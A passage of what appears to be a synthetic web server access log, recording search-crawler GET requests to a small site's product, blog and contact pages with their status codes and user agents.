status=200 from=66.249.88.36 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:05 web-app[2345]: GET /contact status=200 from=66.249.87.19 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:05 web-app[2345]: GET /products/item10 status=200 from=66.249.71.242 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:05 web-app[2345]: GET /products/item2 status=200 from=66.249.78.185 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:06 web-app[2345]: GET /products/item12 status=200 from=66.249.87.113 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:07 web-app[2345]: GET /blog/article-2 status=404 from=66.249.95.248 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:07 web-app[2345]: GET /products/item10 status=200 from=66.249.69.137 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:07 web-app[2345]: GET /products/item13 status=200 from=66.249.82.53 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:07 web-app[2345]: GET /products/item15 status=200 from=66.249.65.91 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:07 web-app[2345]: GET /products/item15 status=200 from=66.249.89.53 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:08 web-app[2345]: GET /blog/article-1 status=200 from=66.249.64.3 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:08 web-app[2345]: GET /contact status=200 from=66.249.64.109 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:08 web-app[2345]: GET /products/item11 status=200 from=66.249.75.140 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:08 web-app[2345]: GET /products/item16 status=200 from=66.249.74.30 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:09 web-app[2345]: GET /blog/article-2 status=200 from=66.249.76.60 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:09 web-app[2345]: GET /contact status=404 from=66.249.82.106 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:09 web-app[2345]: GET /products/item16 status=200 from=66.249.88.57 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:09 web-app[2345]: GET /products/item19 status=200 from=66.249.72.70 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:09 web-app[2345]: GET /products/item5 status=200 from=66.249.73.255 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:10 web-app[2345]: GET /products/item13 status=200 from=66.249.84.173 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:10 web-app[2345]: GET /products/item14 status=200 from=66.249.85.92 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:10 web-app[2345]: GET /products/item18 status=200 from=66.249.86.240 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:11 web-app[2345]: GET /about-us status=200 from=66.249.85.68 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:11 web-app[2345]: GET /products/item14 status=200 from=66.249.87.233 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:11 web-app[2345]: GET /products/item4 status=200 from=66.249.71.27 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:12 web-app[2345]: GET /contact status=200 from=66.249.91.26 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:12 web-app[2345]: GET /products/item14 status=200 from=66.249.77.58 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:12 web-app[2345]: GET /products/item2 status=200 from=66.249.72.228 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:12 web-app[2345]: GET /products/item7 status=200 from=66.249.86.105 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:12 web-app[2345]: GET /products/item8 status=200 from=66.249.87.150 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:13 web-app[2345]: GET /blog/article-1 status=200 from=66.249.67.139 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:13 web-app[2345]: GET /products/item10 status=200 from=66.249.89.158 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:13 web-app[2345]: GET /products/item11 status=200 from=66.249.65.175 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:13 web-app[2345]: GET /products/item4 status=200 from=66.249.66.74 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:13 web-app[2345]: GET /products/item9 status=200 from=66.249.70.104 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:14 web-app[2345]: GET /blog/article-2 status=200 from=66.249.71.165 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:14 web-app[2345]: GET /products/item13 status=200 from=66.249.69.77 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:14 web-app[2345]: GET /products/item14 status=200 from=66.249.67.78 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:14 web-app[2345]: GET /products/item15 status=200 from=66.249.80.49 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:14 web-app[2345]: GET /products/item3 status=200 from=66.249.75.235 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:14 web-app[2345]: GET /products/item6 status=200 from=66.249.70.127 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:14 web-app[2345]: GET /products/item8 status=200 from=66.249.86.142 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:15 web-app[2345]: GET /products/item2 status=200 from=66.249.77.244 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:15 web-app[2345]: GET /products/item9 status=200 from=66.249.72.110 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:16 web-app[2345]: GET / status=200 from=66.249.85.233 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:16 web-app[2345]: GET /products status=200 from=66.249.89.8 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:16 web-app[2345]: GET /products/item1 status=404 from=66.249.75.3 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:16 web-app[2345]: GET /products/item12 status=200 from=66.249.89.112 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:16 web-app[2345]: GET /products/item3 status=200 from=66.249.94.205 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:16 web-app[2345]: GET /products/item6 status=200 from=66.249.84.245 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:17 web-app[2345]: GET /blog/article-1 status=200 from=66.249.92.121 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:17 web-app[2345]: GET /products/item11 status=200 from=66.249.78.74 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:17 web-app[2345]: GET /products/item15 status=200 from=66.249.84.200 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:17 web-app[2345]: GET /products/item19 status=200 from=66.249.87.16 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:17 web-app[2345]: GET /products/item3 status=200 from=66.249.77.80 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:17 web-app[2345]: GET /products/item5 status=200 from=66.249.69.39 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:17 web-app[2345]: GET /products/item5 status=200 from=66.249.92.217 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:17 web-app[2345]: GET /products/item7 status=200 from=66.249.65.38 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:17 web-app[2345]: GET /products/item9 status=404 from=66.249.78.122 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:17 web-app[2345]: GET /products/item9 status=404 from=66.249.82.174 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:18 web-app[2345]: GET /products/item11 status=200 from=66.249.86.236 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:18 web-app[2345]: GET /products/item14 status=200 from=66.249.76.221 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:18 web-app[2345]: GET /products/item3 status=200 from=66.249.94.47 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:19 web-app[2345]: GET /products/item14 status=200 from=66.249.95.216 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:19 web-app[2345]: GET /products/item19 status=200 from=66.249.89.255 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:19 web-app[2345]: GET /products/item4 status=200 from=66.249.75.249 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:19 web-app[2345]: GET /products/item5 status=200 from=66.249.82.170 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:20 web-app[2345]: GET / status=200 from=66.249.65.128 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:20 web-app[2345]: GET / status=200 from=66.249.74.210 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:20 web-app[2345]: GET /products/item13 status=404 from=66.249.68.242 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:20 web-app[2345]: GET /products/item19 status=200 from=66.249.72.65 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:20 web-app[2345]: GET /products/item2 status=200 from=66.249.73.207 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:20 web-app[2345]: GET /products/item9 status=200 from=66.249.73.2 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:21 web-app[2345]: GET / status=200 from=66.249.66.237 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:21 web-app[2345]: GET / status=200 from=66.249.91.13 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:21 web-app[2345]: GET /blog/article-2 status=200 from=66.249.85.62 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:21 web-app[2345]: GET /products/item10 status=200 from=66.249.89.167 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:21 web-app[2345]: GET /products/item12 status=200 from=66.249.80.171 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:21 web-app[2345]: GET /products/item12 status=200 from=66.249.86.176 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:21 web-app[2345]: GET /products/item14 status=200 from=66.249.87.190 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:22 web-app[2345]: GET /products/item10 status=200 from=66.249.90.116 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:22 web-app[2345]: GET /products/item14 status=200 from=66.249.80.6 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:22 web-app[2345]: GET /products/item15 status=301 from=66.249.71.19 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:22 web-app[2345]: GET /products/item17 status=200 from=66.249.73.161 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:23 web-app[2345]: GET / status=200 from=66.249.82.208 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:23 web-app[2345]: GET /products status=200 from=66.249.66.193 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:23 web-app[2345]: GET /products/item11 status=301 from=66.249.76.195 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:23 web-app[2345]: GET /products/item2 status=200 from=66.249.85.71 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:24 web-app[2345]: GET /products/item1 status=200 from=66.249.80.37 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:24 web-app[2345]: GET /products/item11 status=200 from=66.249.72.7 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:24 web-app[2345]: GET /products/item15 status=404 from=66.249.87.231 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:24 web-app[2345]: GET /products/item3 status=200 from=66.249.67.40 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:25 web-app[2345]: GET /blog/article-2 status=200 from=66.249.64.198 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:25 web-app[2345]: GET /products/item10 status=200 from=66.249.93.169 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:25 web-app[2345]: GET /products/item17 status=200 from=66.249.95.248 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:25 web-app[2345]: GET /products/item8 status=200 from=66.249.71.206 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:26 web-app[2345]: GET / status=200 from=66.249.64.109 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:26 web-app[2345]: GET / status=200 from=66.249.76.135 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:26 web-app[2345]: GET /contact status=200 from=66.249.64.3 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:26 web-app[2345]: GET /contact status=200 from=66.249.86.53 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:26 web-app[2345]: GET /products/item2 status=200 from=66.249.74.53 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:26 web-app[2345]: GET /products/item5 status=200 from=66.249.65.33 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:27 web-app[2345]: GET /products/item10 status=200 from=66.249.89.196 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:27 web-app[2345]: GET /products/item11 status=200 from=66.249.94.10 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:27 web-app[2345]: GET /products/item5 status=200 from=66.249.79.2 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:27 web-app[2345]: GET /products/item7 status=200 from=66.249.86.220 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:28 web-app[2345]: GET /blog/article-1 status=200 from=66.249.83.202 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:28 web-app[2345]: GET /blog/article-2 status=200 from=66.249.73.203 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:28 web-app[2345]: GET /products/item6 status=200 from=66.249.92.107 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:28 web-app[2345]: GET /products/item7 status=200 from=66.249.78.157 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:29 web-app[2345]: GET / status=200 from=66.249.82.32 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:29 web-app[2345]: GET / status=200 from=66.249.83.104 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:29 web-app[2345]: GET /products/item18 status=200 from=66.249.88.130 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:29 web-app[2345]: GET /products/item6 status=200 from=66.249.86.47 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:30 web-app[2345]: GET /products/item17 status=200 from=66.249.84.190 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:30 web-app[2345]: GET /products/item3 status=200 from=66.249.69.18 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:30 web-app[2345]: GET /products/item5 status=200 from=66.249.74.206 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:30 web-app[2345]: GET /products/item8 status=200 from=66.249.74.163 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:31 web-app[2345]: GET / status=200 from=66.249.69.135 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:31 web-app[2345]: GET /about-us status=200 from=66.249.87.134 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:31 web-app[2345]: GET /products/item1 status=200 from=66.249.87.121 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:31 web-app[2345]: GET /products/item1 status=200 from=66.249.94.169 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:31 web-app[2345]: GET /products/item13 status=200 from=66.249.79.151 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:31 web-app[2345]: GET /products/item13 status=200 from=66.249.92.158 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:31 web-app[2345]: GET /products/item2 status=200 from=66.249.84.200 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:31 web-app[2345]: GET /products/item7 status=200 from=66.249.69.15 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:31 web-app[2345]: GET /products/item8 status=200 from=66.249.87.146 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:33 web-app[2345]: GET / status=200 from=66.249.70.187 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:33 web-app[2345]: GET /products status=200 from=66.249.72.221 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:33 web-app[2345]: GET /products/item12 status=200 from=66.249.68.9 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:33 web-app[2345]: GET /products/item18 status=200 from=66.249.93.241 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:34 web-app[2345]: GET /blog/article-1 status=200 from=66.249.86.205 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:34 web-app[2345]: GET /products/item2 status=200 from=66.249.92.205 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:34 web-app[2345]: GET /products/item6 status=200 from=66.249.93.211 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:34 web-app[2345]: GET /products/item9 status=200 from=66.249.68.23 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:35 web-app[2345]: GET / status=200 from=66.249.80.125 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:35 web-app[2345]: GET / status=200 from=66.249.94.113 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:35 web-app[2345]: GET /about-us status=200 from=66.249.71.164 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:35 web-app[2345]: GET /contact status=200 from=66.249.70.152 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:35 web-app[2345]: GET /products/item11 status=200 from=66.249.77.84 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:35 web-app[2345]: GET /products/item11 status=301 from=66.249.92.213 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:35 web-app[2345]: GET /products/item12 status=200 from=66.249.95.52 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:35 web-app[2345]: GET /products/item15 status=200 from=66.249.87.110 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:35 web-app[2345]: GET /products/item17 status=200 from=66.249.88.36 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:36 web-app[2345]: GET /products status=200 from=66.249.89.198 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:36 web-app[2345]: GET /products/item1 status=200 from=66.249.67.228 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:36 web-app[2345]: GET /products/item13 status=200 from=66.249.71.239 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:37 web-app[2345]: GET /about-us status=200 from=66.249.83.150 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:37 web-app[2345]: GET /products/item10 status=200 from=66.249.79.62 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:37 web-app[2345]: GET /products/item5 status=200 from=66.249.82.207 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:37 web-app[2345]: GET /products/item9 status=404 from=66.249.78.72 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:38 web-app[2345]: GET / status=200 from=66.249.76.44 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:38 web-app[2345]: GET /products/item19 status=301 from=66.249.80.56 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:38 web-app[2345]: GET /products/item5 status=200 from=66.249.81.62 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:39 web-app[2345]: GET /products/item15 status=200 from=66.249.72.211 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:40 web-app[2345]: GET / status=200 from=66.249.77.195 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:40 web-app[2345]: GET /products status=200 from=66.249.68.74 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:40 web-app[2345]: GET /products/item13 status=200 from=66.249.78.106 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:40 web-app[2345]: GET /products/item17 status=200 from=66.249.69.14 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:41 web-app[2345]: GET /products/item15 status=200 from=66.249.94.17 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:41 web-app[2345]: GET /products/item3 status=200 from=66.249.90.175 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:41 web-app[2345]: GET /products/item4 status=200 from=66.249.88.105 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:42 web-app[2345]: GET /contact status=301 from=66.249.84.1 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:42 web-app[2345]: GET /products status=200 from=66.249.86.226 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:42 web-app[2345]: GET /products/item11 status=200 from=66.249.73.109 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:42 web-app[2345]: GET /products/item3 status=200 from=66.249.90.168 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:43 web-app[2345]: GET /products/item1 status=200 from=66.249.73.241 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:43 web-app[2345]: GET /products/item1 status=200 from=66.249.89.254 agent="Mozilla/5.0 (compatible; Bingbot/2.0; +http://www.bing.com/bingbot.htm)" +Aug 22 22:04:43 web-app[2345]: GET /products/item12 status=200 from=66.249.94.0 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:43 web-app[2345]: GET /products/item14 status=200 from=66.249.80.10 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:43 web-app[2345]: GET /products/item15 status=200 from=66.249.95.34 agent="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" +Aug 22 22:04:43 web-app[2345]: GET /products/item18 status=200 from=66.249.90.123 agent="Mozilla/5.0 